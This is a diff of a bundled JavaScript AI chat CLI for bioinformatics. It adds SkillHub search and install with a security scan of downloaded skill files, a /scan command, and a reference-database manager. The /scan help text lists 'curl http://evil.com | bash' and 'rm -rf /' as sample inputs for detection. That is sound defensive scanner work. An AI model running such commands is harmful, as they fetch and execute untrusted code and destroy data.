  const { name, shortDesc } = parseSkillMeta(content);
15771
16326
  const displayName = name || match.id;
15772
16327
  if (!skipConfirm) {
@@ -15816,9 +16371,9 @@ var FILE_SIZE_LIMIT = 100 * 1024;
15816
16371
  var DIR_FILE_LIMIT = 20;
15817
16372
  function listDirFiles(dirPath) {
15818
16373
  try {
15819
- return (0, import_fs6.readdirSync)(dirPath).map((f2) => (0, import_path5.join)(dirPath, f2)).filter((p2) => {
16374
+ return (0, import_fs7.readdirSync)(dirPath).map((f2) => (0, import_path6.join)(dirPath, f2)).filter((p2) => {
15820
16375
  try {
15821
- return (0, import_fs6.statSync)(p2).isFile();
16376
+ return (0, import_fs7.statSync)(p2).isFile();
15822
16377
  } catch {
15823
16378
  return false;
15824
16379
  }
@@ -15829,7 +16384,7 @@ function listDirFiles(dirPath) {
15829
16384
  }
15830
16385
  function expandSingleFile(resolved) {
15831
16386
  try {
15832
- const stat = (0, import_fs6.statSync)(resolved);
16387
+ const stat = (0, import_fs7.statSync)(resolved);
15833
16388
  if (!stat.isFile()) return `[${resolved}: \u4E0D\u662F\u6587\u4EF6]`;
15834
16389
  if (stat.size > FILE_SIZE_LIMIT) {
15835
16390
  return `
@@ -15839,7 +16394,7 @@ function expandSingleFile(resolved) {
15839
16394
  \`\`\`
15840
16395
  `;
15841
16396
  }
15842
- const content = (0, import_fs5.readFileSync)(resolved, "utf8");
16397
+ const content = (0, import_fs6.readFileSync)(resolved, "utf8");
15843
16398
  const lines = content.split("\n");
15844
16399
  const preview = lines.length > 150 ? lines.slice(0, 150).join("\n") + `
15845
16400
  ... (\u5171 ${lines.length} \u884C\uFF0C\u5DF2\u622A\u65AD)` : content;
@@ -15856,10 +16411,10 @@ ${preview}
15856
16411
  function expandFileRefs(input) {
15857
16412
  return input.replace(/@"([^"]+)"|@'([^']+)'|@([\/\w.*?~:-]+)/g, (match, q1, q2, q3) => {
15858
16413
  const rawPath = q1 ?? q2 ?? q3;
15859
- const expanded = rawPath.replace(/^~/, (0, import_os3.homedir)());
16414
+ const expanded = rawPath.replace(/^~/, (0, import_os4.homedir)());
15860
16415
  if (rawPath.endsWith("/") || rawPath.endsWith("\\")) {
15861
- const dirResolved = (0, import_path5.resolve)(expanded);
15862
- if (!(0, import_fs5.existsSync)(dirResolved)) return match;
16416
+ const dirResolved = (0, import_path6.resolve)(expanded);
16417
+ if (!(0, import_fs6.existsSync)(dirResolved)) return match;
15863
16418
  const files = listDirFiles(dirResolved).slice(0, DIR_FILE_LIMIT);
15864
16419
  if (files.length === 0) return `[\u76EE\u5F55 ${dirResolved} \u4E3A\u7A7A]`;
15865
16420
  const parts = [`
@@ -15888,8 +16443,8 @@ function expandFileRefs(input) {
15888
16443
  for (const f2 of matched) parts.push(expandSingleFile(f2));
15889
16444
  return parts.join("\n");
15890
16445
  }
15891
- const resolved = (0, import_path5.resolve)(expanded);
15892
- if (!(0, import_fs5.existsSync)(resolved)) return match;
16446
+ const resolved = (0, import_path6.resolve)(expanded);
16447
+ if (!(0, import_fs6.existsSync)(resolved)) return match;
15893
16448
  return expandSingleFile(resolved);
15894
16449
  });
15895
16450
  }
@@ -15898,11 +16453,11 @@ function snapshotWorkdir(dir) {
15898
16453
  function walk(d2, depth = 0) {
15899
16454
  if (depth > 3) return;
15900
16455
  try {
15901
- for (const entry of (0, import_fs5.readdirSync)(d2)) {
16456
+ for (const entry of (0, import_fs6.readdirSync)(d2)) {
15902
16457
  if (entry.startsWith(".") || entry === "node_modules") continue;
15903
- const full = (0, import_path5.join)(d2, entry);
16458
+ const full = (0, import_path6.join)(d2, entry);
15904
16459
  try {
15905
- const st2 = (0, import_fs5.statSync)(full);
16460
+ const st2 = (0, import_fs6.statSync)(full);
15906
16461
  if (st2.isDirectory()) {
15907
16462
  walk(full, depth + 1);
15908
16463
  } else {
@@ -15937,7 +16492,7 @@ function saveConversation(history, filename) {
15937
16492
  }
15938
16493
  const now = /* @__PURE__ */ new Date();
15939
16494
  const stamp = now.toISOString().slice(0, 16).replace("T", "-").replace(":", "-");
15940
- const outPath = (0, import_path5.resolve)(filename || `bgicli-chat-${stamp}.md`);
16495
+ const outPath = (0, import_path6.resolve)(filename || `bgicli-chat-${stamp}.md`);
15941
16496
  const lines = [`# BGI CLI \u5BF9\u8BDD\u8BB0\u5F55
15942
16497
  `, `> \u5BFC\u51FA\u65F6\u95F4: ${now.toLocaleString("zh-CN")}
15943
16498
  `];
@@ -15956,7 +16511,7 @@ ${msg.content}
15956
16511
  `);
15957
16512
  }
15958
16513
  }
15959
- (0, import_fs5.writeFileSync)(outPath, lines.join("\n"), "utf8");
16514
+ (0, import_fs6.writeFileSync)(outPath, lines.join("\n"), "utf8");
15960
16515
  console.log(source_default.green(`\u2713 \u5BF9\u8BDD\u5DF2\u4FDD\u5B58: ${outPath}`));
15961
16516
  }
15962
16517
  var COMPACT_TOKEN_THRESHOLD = 4e4;
@@ -16299,12 +16854,12 @@ async function handleCommand(input, rl, history, thinkMode, injectedSkills) {
16299
16854
  console.log(source_default.red(`\u672A\u627E\u5230 Skill: ${targetId}`));
16300
16855
  break;
16301
16856
  }
16302
- const skillPath = (0, import_path5.join)(runMatch.dir, runMatch.id, "SKILL.md");
16303
- if (!(0, import_fs5.existsSync)(skillPath)) {
16857
+ const skillPath = (0, import_path6.join)(runMatch.dir, runMatch.id, "SKILL.md");
16858
+ if (!(0, import_fs6.existsSync)(skillPath)) {
16304
16859
  console.log(source_default.red(`${runMatch.id} \u7F3A\u5C11 SKILL.md`));
16305
16860
  break;
16306
16861
  }
16307
- const skillContent = (0, import_fs5.readFileSync)(skillPath, "utf8");
16862
+ const skillContent = (0, import_fs6.readFileSync)(skillPath, "utf8");
16308
16863
  const { name: skillName } = parseSkillMeta(skillContent);
16309
16864
  const paramsMatch = skillContent.match(/##\s*(?:必要参数|Required Parameters|参数)[\s\S]*?(?=\n##|$)/i);
16310
16865
  const paramsSection = paramsMatch?.[0] ?? "";
@@ -16342,7 +16897,7 @@ ${paramSummary}
16342
16897
  console.log(source_default.dim("\n \u6B63\u5728\u751F\u6210\u5E76\u6267\u884C\u5206\u6790\u811A\u672C...\n"));
16343
16898
  try {
16344
16899
  const runCfg = loadConfig();
16345
- const reply = await chat(history, runCfg, buildSystemPrompt());
16900
+ const reply = await chat(history, runCfg, systemPrompt);
16346
16901
  history.push({ role: "assistant", content: reply });
16347
16902
  } catch (err) {
16348
16903
  console.error(source_default.red(`\u6267\u884C\u5931\u8D25: ${err instanceof Error ? err.message : String(err)}`));
@@ -16363,9 +16918,9 @@ ${paramSummary}
16363
16918
  break;
16364
16919
  }
16365
16920
  for (const entry of skillsToCheck) {
16366
- const sp = (0, import_path5.join)(entry.dir, entry.id, "SKILL.md");
16367
- if (!(0, import_fs5.existsSync)(sp)) continue;
16368
- const content = (0, import_fs5.readFileSync)(sp, "utf8");
16921
+ const sp = (0, import_path6.join)(entry.dir, entry.id, "SKILL.md");
16922
+ if (!(0, import_fs6.existsSync)(sp)) continue;
16923
+ const content = (0, import_fs6.readFileSync)(sp, "utf8");
16369
16924
  const { name } = parseSkillMeta(content);
16370
16925
  console.log(source_default.bold(`
16371
16926
  \u68C0\u6D4B ${name || entry.id} \u7684\u4F9D\u8D56\u73AF\u5883:`));
@@ -16417,21 +16972,124 @@ ${paramSummary}
16417
16972
  }
16418
16973
  break;
16419
16974
  }
16420
- // ── /install from GitHub ─────────────────────────────────────────────────
16975
+ // ── /search SkillHub ─────────────────────────────────────────────────────
16976
+ case "search": {
16977
+ if (!arg) {
16978
+ console.log("\u7528\u6CD5: /search <\u5173\u952E\u8BCD> [--hub=bgi|clawhub|tencent]");
16979
+ console.log(source_default.dim("\u793A\u4F8B: /search rnaseq"));
16980
+ console.log(source_default.dim(" /search \u86CB\u767D\u8D28\u7ED3\u6784\u9884\u6D4B --hub=tencent"));
16981
+ console.log(source_default.dim(" /search genomics --hub=clawhub"));
16982
+ console.log(source_default.dim("\n\u9ED8\u8BA4\u641C\u7D22 BGI \u5185\u7F51 SkillHub (http://172.16.218.40:8080)"));
16983
+ break;
16984
+ }
16985
+ let hubKey = "bgi";
16986
+ const hubMatch = arg.match(/--hub=(\w+)/);
16987
+ const query = arg.replace(/--hub=\w+/g, "").trim();
16988
+ if (hubMatch) {
16989
+ const hk = hubMatch[1];
16990
+ if (hk in SKILLHUB_HUBS) hubKey = hk;
16991
+ else {
16992
+ console.log(source_default.red(`\u672A\u77E5 hub: ${hubMatch[1]}\uFF0C\u53EF\u9009: bgi, clawhub, tencent`));
16993
+ break;
16994
+ }
16995
+ }
16996
+ if (!query) {
16997
+ console.log(source_default.yellow("\u8BF7\u63D0\u4F9B\u641C\u7D22\u5173\u952E\u8BCD"));
16998
+ break;
16999
+ }
17000
+ const hubLabel = SKILLHUB_HUBS[hubKey].label;
17001
+ process.stdout.write(source_default.dim(`\u6B63\u5728\u641C\u7D22 ${hubLabel} SkillHub: "${query}"...
17002
+ `));
17003
+ try {
17004
+ const results = await searchSkillHub(query, hubKey, 10);
17005
+ if (results.length === 0) {
17006
+ console.log(source_default.yellow(` \u672A\u627E\u5230\u76F8\u5173 Skill\uFF0C\u8BF7\u5C1D\u8BD5\u5176\u4ED6\u5173\u952E\u8BCD`));
17007
+ break;
17008
+ }
17009
+ _lastSearchResults = results;
17010
+ console.log(source_default.bold(`
17011
+ \u641C\u7D22\u7ED3\u679C (${hubLabel}) \u2014 \u5171 ${results.length} \u4E2A:
17012
+ `));
17013
+ results.forEach((s2, i2) => {
17014
+ const ver = s2.version ? source_default.dim(` v${s2.version}`) : "";
17015
+ const owner = s2.owner ? source_default.dim(` @${s2.owner}`) : "";
17016
+ console.log(` ${source_default.cyan(`[${i2 + 1}]`)} ${source_default.bold(s2.name)}${owner}${ver}`);
17017
+ console.log(` ${source_default.dim(s2.summary.substring(0, 90))}${s2.summary.length > 90 ? "\u2026" : ""}`);
17018
+ console.log(` ${source_default.dim(`slug: ${s2.slug}`)}`);
17019
+ console.log();
17020
+ });
17021
+ console.log(source_default.dim(`\u5B89\u88C5: /install <slug> \u6216 /install <\u5E8F\u53F7> (\u5982: /install 1)`));
17022
+ } catch (e2) {
17023
+ console.log(source_default.red(`\u641C\u7D22\u5931\u8D25: ${e2 instanceof Error ? e2.message : String(e2)}`));
17024
+ }
17025
+ break;
17026
+ }
17027
+ // ── /install from GitHub or SkillHub ──────────────────────────────────────
16421
17028
  case "install": {
16422
17029
  if (!arg) {
16423
- console.log("\u7528\u6CD5: /install <github-url>");
17030
+ console.log("\u7528\u6CD5: /install <github-url | slug | \u641C\u7D22\u5E8F\u53F7>");
16424
17031
  console.log(source_default.dim("\u793A\u4F8B: /install https://github.com/user/my-skill"));
16425
- console.log(source_default.dim(" /install user/repo (GitHub \u7B80\u5199)"));
17032
+ console.log(source_default.dim(" /install user/repo (GitHub \u7B80\u5199)"));
17033
+ console.log(source_default.dim(" /install personal-genomics (SkillHub slug)"));
17034
+ console.log(source_default.dim(" /install 2 (\u641C\u7D22\u7ED3\u679C\u5E8F\u53F7)"));
17035
+ break;
17036
+ }
17037
+ let installArg = arg;
17038
+ const searchNum = /^\d+$/.test(installArg) ? parseInt(installArg, 10) : 0;
17039
+ if (searchNum > 0 && _lastSearchResults.length > 0) {
17040
+ if (searchNum > _lastSearchResults.length) {
17041
+ console.log(source_default.red(`\u5E8F\u53F7 ${searchNum} \u8D85\u51FA\u8303\u56F4\uFF08\u5171 ${_lastSearchResults.length} \u4E2A\u7ED3\u679C\uFF09`));
17042
+ break;
17043
+ }
17044
+ const picked = _lastSearchResults[searchNum - 1];
17045
+ console.log(source_default.dim(`\u4ECE\u641C\u7D22\u7ED3\u679C\u5B89\u88C5: ${picked.name} (${picked.slug})`));
17046
+ installArg = picked.slug;
17047
+ }
17048
+ const isGitHub = installArg.includes("github.com") || installArg.includes("gitlab") || installArg.includes("bitbucket") || /^[^/]+\/[^/]+$/.test(installArg);
17049
+ if (!isGitHub && !installArg.startsWith("http")) {
17050
+ const slug = installArg.trim();
17051
+ const installTarget2 = (0, import_path6.join)(SKILLS_DIR, slug);
17052
+ if ((0, import_fs6.existsSync)(installTarget2)) {
17053
+ console.log(source_default.yellow(`Skill "${slug}" \u5DF2\u5B58\u5728\uFF0C\u5982\u9700\u66F4\u65B0\u8BF7\u5148 /uninstall ${slug}`));
17054
+ break;
17055
+ }
17056
+ process.stdout.write(source_default.dim(`\u6B63\u5728\u4ECE SkillHub \u4E0B\u8F7D Skill: ${slug}...
17057
+ `));
17058
+ try {
17059
+ const skillMdContent = await downloadSkillMd(slug);
17060
+ const skillScan = scanSkillMd(skillMdContent);
17061
+ if (skillScan.criticalCount > 0) {
17062
+ console.log(source_default.red(`
17063
+ \u26D4 \u5B89\u5168\u626B\u63CF\u53D1\u73B0 ${skillScan.criticalCount} \u4E2A CRITICAL \u98CE\u9669\uFF0C\u5DF2\u62D2\u7EDD\u5B89\u88C5`));
17064
+ console.log(source_default.dim(` \u4F7F\u7528 /scan \u547D\u4EE4\u68C0\u67E5\u5177\u4F53\u5185\u5BB9`));
17065
+ break;
17066
+ }
17067
+ (0, import_fs6.mkdirSync)(installTarget2, { recursive: true });
17068
+ (0, import_fs6.writeFileSync)((0, import_path6.join)(installTarget2, "SKILL.md"), skillMdContent, "utf8");
17069
+ const { name: name2, shortDesc: shortDesc2 } = parseSkillMeta(skillMdContent);
17070
+ console.log(source_default.green(`\u2713 SkillHub Skill \u5B89\u88C5\u6210\u529F!`));
17071
+ console.log(` ID: ${source_default.cyan(slug)}`);
17072
+ console.log(` \u540D\u79F0: ${name2 || slug}`);
17073
+ if (shortDesc2) console.log(` \u529F\u80FD: ${source_default.dim(shortDesc2)}`);
17074
+ if (skillScan.highCount > 0) console.log(source_default.yellow(` \u26A0 \u5305\u542B ${skillScan.highCount} \u4E2A HIGH \u98CE\u9669\u547D\u4EE4\uFF0C\u8BF7\u786E\u8BA4\u6765\u6E90\u53EF\u4FE1`));
17075
+ console.log(source_default.dim(` \u4F7F\u7528 /sk ${slug} \u52A0\u8F7D`));
17076
+ } catch (e2) {
17077
+ const msg = e2 instanceof Error ? e2.message : String(e2);
17078
+ if (msg === "not_found") {
17079
+ console.log(source_default.red(`SkillHub \u672A\u627E\u5230 "${slug}"\uFF0C\u8BF7\u5148\u7528 /search \u641C\u7D22\u786E\u8BA4 slug`));
17080
+ } else {
17081
+ console.log(source_default.red(`\u4E0B\u8F7D\u5931\u8D25: ${msg}`));
17082
+ }
17083
+ }
16426
17084
  break;
16427
17085
  }
16428
- let repoUrl = arg;
17086
+ let repoUrl = installArg;
16429
17087
  if (!repoUrl.startsWith("http")) {
16430
17088
  repoUrl = `https://github.com/${repoUrl}`;
16431
17089
  }
16432
17090
  const repoName = repoUrl.replace(/\.git$/, "").split("/").pop() ?? "unknown-skill";
16433
- const installTarget = (0, import_path5.join)(SKILLS_DIR, repoName);
16434
- if ((0, import_fs5.existsSync)(installTarget)) {
17091
+ const installTarget = (0, import_path6.join)(SKILLS_DIR, repoName);
17092
+ if ((0, import_fs6.existsSync)(installTarget)) {
16435
17093
  console.log(source_default.yellow(`Skill "${repoName}" \u5DF2\u5B58\u5728\uFF0C\u5982\u9700\u66F4\u65B0\u8BF7\u5148 /uninstall ${repoName}`));
16436
17094
  break;
16437
17095
  }
@@ -16443,13 +17101,13 @@ ${paramSummary}
16443
17101
  console.log(source_default.red(`\u5B89\u88C5\u5931\u8D25: ${cloneResult.output || cloneResult.error}`));
16444
17102
  break;
16445
17103
  }
16446
- const skillMdPath = (0, import_path5.join)(installTarget, "SKILL.md");
16447
- if (!(0, import_fs5.existsSync)(skillMdPath)) {
17104
+ const skillMdPath = (0, import_path6.join)(installTarget, "SKILL.md");
17105
+ if (!(0, import_fs6.existsSync)(skillMdPath)) {
16448
17106
  console.log(source_default.red(`\u5B89\u88C5\u5931\u8D25: ${repoName} \u7F3A\u5C11 SKILL.md \u6587\u4EF6`));
16449
17107
  await executeTool("bash", { command: `rm -rf "${installTarget}"` });
16450
17108
  break;
16451
17109
  }
16452
- const content = (0, import_fs5.readFileSync)(skillMdPath, "utf8");
17110
+ const content = (0, import_fs6.readFileSync)(skillMdPath, "utf8");
16453
17111
  const { name, shortDesc } = parseSkillMeta(content);
16454
17112
  console.log(source_default.green(`\u2713 Skill \u5B89\u88C5\u6210\u529F!`));
16455
17113
  console.log(` ID: ${source_default.cyan(repoName)}`);
@@ -16463,8 +17121,8 @@ ${paramSummary}
16463
17121
  console.log("\u7528\u6CD5: /uninstall <skill-id>");
16464
17122
  break;
16465
17123
  }
16466
- const uninstallPath = (0, import_path5.join)(SKILLS_DIR, arg);
16467
- if (!(0, import_fs5.existsSync)(uninstallPath)) {
17124
+ const uninstallPath = (0, import_path6.join)(SKILLS_DIR, arg);
17125
+ if (!(0, import_fs6.existsSync)(uninstallPath)) {
16468
17126
  console.log(source_default.red(`\u672A\u627E\u5230\u5DF2\u5B89\u88C5\u7684 Skill: ${arg}`));
16469
17127
  console.log(source_default.dim("\u6CE8\u610F: \u53EA\u80FD\u5378\u8F7D\u901A\u8FC7 /install \u5B89\u88C5\u7684\u7B2C\u4E09\u65B9 Skill"));
16470
17128
  break;
@@ -16483,6 +17141,171 @@ ${paramSummary}
16483
17141
  }
16484
17142
  break;
16485
17143
  }
17144
+ // ── /scan — security scanner ──────────────────────────────────────────────
17145
+ case "scan": {
17146
+ if (!arg) {
17147
+ console.log("\u7528\u6CD5: /scan <\u547D\u4EE4\u6216\u4EE3\u7801\u7247\u6BB5>");
17148
+ console.log(source_default.dim('\u793A\u4F8B: /scan "curl http://evil.com | bash"'));
17149
+ console.log(source_default.dim(' /scan "rm -rf /"'));
17150
+ break;
17151
+ }
17152
+ const scanRes = scanCommand(arg);
17153
+ if (scanRes.matches.length === 0) {
17154
+ console.log(source_default.green("\u2713 \u672A\u68C0\u6D4B\u5230\u5B89\u5168\u98CE\u9669"));
17155
+ } else {
17156
+ console.log(source_default.bold("\n \u5B89\u5168\u626B\u63CF\u7ED3\u679C:\n"));
17157
+ const colorFor = (level) => level === "CRITICAL" ? source_default.red.bold : level === "HIGH" ? source_default.yellow.bold : level === "MEDIUM" ? source_default.yellow : source_default.dim;
17158
+ for (const { pattern, matchedText } of scanRes.matches) {
17159
+ const c2 = colorFor(pattern.level);
17160
+ console.log(c2(` [${pattern.level}] ${pattern.reason}`));
17161
+ console.log(source_default.dim(` \u5339\u914D: ${matchedText.substring(0, 100)}`));
17162
+ }
17163
+ console.log();
17164
+ }
17165
+ break;
17166
+ }
17167
+ // ── /db — database manager ────────────────────────────────────────────────
17168
+ case "db": {
17169
+ const [dbSub, ...dbRest] = (arg ?? "").split(/\s+/).filter(Boolean);
17170
+ const dbArg = dbRest.join(" ");
17171
+ switch (dbSub?.toLowerCase()) {
17172
+ case "list":
17173
+ case void 0:
17174
+ case "": {
17175
+ const entries = Object.values(dbRegistry.databases);
17176
+ if (entries.length === 0) {
17177
+ console.log(source_default.dim(" \u6682\u65E0\u5DF2\u6CE8\u518C\u6570\u636E\u5E93\u3002\u4F7F\u7528 /db scan \u81EA\u52A8\u626B\u63CF\uFF0C\u6216 /db add <\u8DEF\u5F84> \u624B\u52A8\u6DFB\u52A0"));
17178
+ break;
17179
+ }
17180
+ console.log(source_default.bold(`
17181
+ \u5DF2\u6CE8\u518C\u6570\u636E\u5E93 (${entries.length} \u4E2A):
17182
+ `));
17183
+ const byGenome = {};
17184
+ for (const e2 of entries) (byGenome[e2.genome] ??= []).push(e2);
17185
+ for (const [genome, dbs] of Object.entries(byGenome).sort()) {
17186
+ console.log(source_default.cyan(` \u2500\u2500 ${genome} \u2500\u2500`));
17187
+ for (const db of dbs) {
17188
+ const ok = (0, import_fs6.existsSync)(db.path);
17189
+ const icon = ok ? source_default.green("\u2713") : source_default.red("\u2717");
17190
+ const size = db.sizeBytes ? source_default.dim(` [${(db.sizeBytes / 1e9).toFixed(1)}GB]`) : "";
17191
+ console.log(` ${icon} ${source_default.bold(db.label)}${size}`);
17192
+ console.log(` ${source_default.dim("id:")} ${db.id} ${source_default.dim("type:")} ${db.type}`);
17193
+ console.log(` ${source_default.dim(db.path)}`);
17194
+ }
17195
+ console.log();
17196
+ }
17197
+ break;
17198
+ }
17199
+ case "add": {
17200
+ if (!dbArg) {
17201
+ console.log("\u7528\u6CD5: /db add <\u8DEF\u5F84> [\u57FA\u56E0\u7EC4] [\u7C7B\u578B] [\u8BF4\u660E]");
17202
+ console.log(source_default.dim("\u793A\u4F8B: /db add /data/ref/hg38.fa hg38 fasta"));
17203
+ console.log(source_default.dim(" /db add /data/index/hg38_star hg38 star_index STAR\u6BD4\u5BF9\u7D22\u5F15"));
17204
+ break;
17205
+ }
17206
+ const parts = dbArg.trim().split(/\s+/);
17207
+ const dbPath = (0, import_path6.resolve)(parts[0]);
17208
+ if (!(0, import_fs6.existsSync)(dbPath)) {
17209
+ console.log(source_default.yellow(`\u26A0 \u8DEF\u5F84\u4E0D\u5B58\u5728: ${dbPath}\uFF08\u4ECD\u4F1A\u8BB0\u5F55\uFF0C\u8DEF\u5F84\u53EF\u7A0D\u540E\u521B\u5EFA\uFF09`));
17210
+ }
17211
+ const genome = parts[1] ?? "other";
17212
+ const type = parts[2] ?? "other";
17213
+ const label = parts.slice(3).join(" ") || `${type} (${genome})`;
17214
+ const entry = addDbEntry(dbRegistry, { label, type, genome, path: dbPath, source: "manual" });
17215
+ saveDbRegistry(dbRegistry);
17216
+ systemPrompt = buildSystemPrompt(buildDbPromptSection(dbRegistry));
17217
+ console.log(source_default.green(`\u2713 \u5DF2\u6DFB\u52A0\u6570\u636E\u5E93: ${entry.label}`));
17218
+ console.log(` id: ${source_default.cyan(entry.id)}`);
17219
+ console.log(` \u8DEF\u5F84: ${source_default.dim(entry.path)}`);
17220
+ break;
17221
+ }
17222
+ case "rm":
17223
+ case "remove":
17224
+ case "del": {
17225
+ if (!dbArg) {
17226
+ console.log("\u7528\u6CD5: /db rm <id>");
17227
+ break;
17228
+ }
17229
+ const removed = removeDbEntry(dbRegistry, dbArg.trim());
17230
+ if (removed) {
17231
+ saveDbRegistry(dbRegistry);
17232
+ systemPrompt = buildSystemPrompt(buildDbPromptSection(dbRegistry));
17233
+ console.log(source_default.green(`\u2713 \u5DF2\u79FB\u9664\u6570\u636E\u5E93: ${dbArg}`));
17234
+ } else {
17235
+ console.log(source_default.red(`\u672A\u627E\u5230\u6570\u636E\u5E93 id: ${dbArg}\uFF0C\u4F7F\u7528 /db list \u67E5\u770B\u5DF2\u6CE8\u518C\u5217\u8868`));
17236
+ }
17237
+ break;
17238
+ }
17239
+ case "scan": {
17240
+ const extraDirs = dbArg ? [dbArg] : [];
17241
+ process.stdout.write(source_default.dim("\n \u6B63\u5728\u626B\u63CF\u6587\u4EF6\u7CFB\u7EDF\u4E2D\u7684\u53C2\u8003\u6570\u636E\u5E93...\n"));
17242
+ const report = scanForDatabases(extraDirs);
17243
+ if (report.found.length === 0) {
17244
+ console.log(source_default.yellow(" \u672A\u627E\u5230\u4EFB\u4F55\u5DF2\u77E5\u6570\u636E\u5E93\u6587\u4EF6"));
17245
+ console.log(source_default.dim(" \u63D0\u793A: \u53EF\u6307\u5B9A\u76EE\u5F55 /db scan /your/data/dir"));
17246
+ break;
17247
+ }
17248
+ console.log(source_default.bold(`
17249
+ \u626B\u63CF\u53D1\u73B0 ${report.found.length} \u4E2A\u6570\u636E\u5E93\u6587\u4EF6:
17250
+ `));
17251
+ let addedCount = 0;
17252
+ for (const entry of report.found) {
17253
+ const exists = dbRegistry.databases[entry.id];
17254
+ if (exists) {
17255
+ console.log(source_default.dim(` [\u5DF2\u5B58\u5728] ${entry.label}`));
17256
+ continue;
17257
+ }
17258
+ dbRegistry.databases[entry.id] = entry;
17259
+ addedCount++;
17260
+ const size = entry.sizeBytes ? source_default.dim(` [${(entry.sizeBytes / 1e9).toFixed(1)}GB]`) : "";
17261
+ console.log(source_default.green(` [\u65B0\u589E] `) + `${entry.label}${size}`);
17262
+ console.log(source_default.dim(` ${entry.path}`));
17263
+ }
17264
+ if (addedCount > 0) {
17265
+ dbRegistry.lastScan = (/* @__PURE__ */ new Date()).toISOString();
17266
+ saveDbRegistry(dbRegistry);
17267
+ systemPrompt = buildSystemPrompt(buildDbPromptSection(dbRegistry));
17268
+ console.log(source_default.green(`
17269
+ \u2713 \u65B0\u589E ${addedCount} \u4E2A\u6570\u636E\u5E93\u5230\u6CE8\u518C\u8868`));
17270
+ } else {
17271
+ console.log(source_default.dim("\n \u65E0\u65B0\u589E\uFF08\u6240\u6709\u5DF2\u5728\u6CE8\u518C\u8868\u4E2D\uFF09"));
17272
+ }
17273
+ break;
17274
+ }
17275
+ case "download":
17276
+ case "dl": {
17277
+ const target = dbArg.trim() || "";
17278
+ if (!target) {
17279
+ console.log(source_default.bold("\n \u53EF\u4E0B\u8F7D\u7684\u6807\u51C6\u6570\u636E\u5E93:\n"));
17280
+ for (const [key, guide2] of Object.entries(DOWNLOAD_GUIDES)) {
17281
+ console.log(` ${source_default.cyan(key.padEnd(18))} ${guide2.label}`);
17282
+ }
17283
+ console.log(source_default.dim("\n \u7528\u6CD5: /db download hg38-fasta"));
17284
+ break;
17285
+ }
17286
+ const guide = DOWNLOAD_GUIDES[target];
17287
+ if (!guide) {
17288
+ console.log(source_default.red(`\u672A\u77E5\u6570\u636E\u5E93: ${target}`));
17289
+ console.log(source_default.dim("\u4F7F\u7528 /db download \u67E5\u770B\u53EF\u7528\u5217\u8868"));
17290
+ break;
17291
+ }
17292
+ console.log(source_default.bold(`
17293
+ \u4E0B\u8F7D\u6307\u5357: ${guide.label}
17294
+ `));
17295
+ guide.cmds.forEach((cmd2) => console.log(` ${source_default.cyan("$")} ${cmd2}`));
17296
+ console.log(source_default.dim("\n \u4E0B\u8F7D\u5B8C\u6210\u540E\u4F7F\u7528 /db add <\u8DEF\u5F84> \u6CE8\u518C"));
17297
+ break;
17298
+ }
17299
+ default:
17300
+ console.log(`\u7528\u6CD5: /db <list|add|rm|scan|download>`);
17301
+ console.log(source_default.dim(" /db list \u5217\u51FA\u5DF2\u6CE8\u518C\u6570\u636E\u5E93"));
17302
+ console.log(source_default.dim(" /db add <\u8DEF\u5F84> \u624B\u52A8\u6CE8\u518C"));
17303
+ console.log(source_default.dim(" /db rm <id> \u5220\u9664\u8BB0\u5F55"));
17304
+ console.log(source_default.dim(" /db scan [\u76EE\u5F55] \u81EA\u52A8\u626B\u63CF"));
17305
+ console.log(source_default.dim(" /db download [\u540D\u79F0] \u663E\u793A\u4E0B\u8F7D\u6307\u5357"));
17306
+ }
17307
+ break;
17308
+ }
16486
17309
  case "compact": {
16487
17310
  const tokens = estimateTokens2(history);
16488
17311
  if (history.length < 4) {
@@ -16654,8 +17477,8 @@ ${summary}` },
16654
17477
  console.log("\u7528\u6CD5: /cd <\u8DEF\u5F84>");
16655
17478
  break;
16656
17479
  }
16657
- const target = (0, import_path5.resolve)(arg.replace(/^~/, (0, import_os3.homedir)()));
16658
- if (!(0, import_fs5.existsSync)(target)) {
17480
+ const target = (0, import_path6.resolve)(arg.replace(/^~/, (0, import_os4.homedir)()));
17481
+ if (!(0, import_fs6.existsSync)(target)) {
16659
17482
  console.log(source_default.red(`\u8DEF\u5F84\u4E0D\u5B58\u5728: ${target}`));
16660
17483
  break;
16661
17484
  }
@@ -16724,7 +17547,8 @@ async function main() {
16724
17547
  }
16725
17548
  console.log(source_default.dim(" \u8F93\u5165\u95EE\u9898\u5F00\u59CB\u5BF9\u8BDD /help \u67E5\u770B\u547D\u4EE4 /cat \u6280\u80FD\u5206\u7C7B @\u6587\u4EF6\u8DEF\u5F84 \u5185\u5D4C\u6587\u4EF6"));
16726
17549
  console.log();
16727
- const systemPrompt = buildSystemPrompt();
17550
+ let dbRegistry2 = loadDbRegistry();
17551
+ let systemPrompt2 = buildSystemPrompt(buildDbPromptSection(dbRegistry2));
16728
17552
  let history = [];
16729
17553
  let thinkMode = false;
16730
17554
  const injectedSkills = /* @__PURE__ */ new Map();
@@ -16812,7 +17636,7 @@ ${expanded}` : expanded;
16812
17636
  history.push({ role: "user", content: userContent });
16813
17637
  try {
16814
17638
  const currentCfg = loadConfig();
16815
- const reply = await chat(history, currentCfg, systemPrompt);
17639
+ const reply = await chat(history, currentCfg, systemPrompt2);
16816
17640
  history.push({ role: "assistant", content: reply });
16817
17641
  history = await maybeCompact(history, currentCfg);
16818
17642
  autoSaveSession();
@@ -16837,8 +17661,8 @@ ${expanded}` : expanded;
16837
17661
  }
16838
17662
  }
16839
17663
  function question(rl, prompt) {
16840
- return new Promise((resolve3, reject) => {
16841
- rl.question(prompt, resolve3);
17664
+ return new Promise((resolve4, reject) => {
17665
+ rl.question(prompt, resolve4);
16842
17666
  rl.once("close", () => reject(new Error("closed")));
16843
17667
  });
16844
17668
  }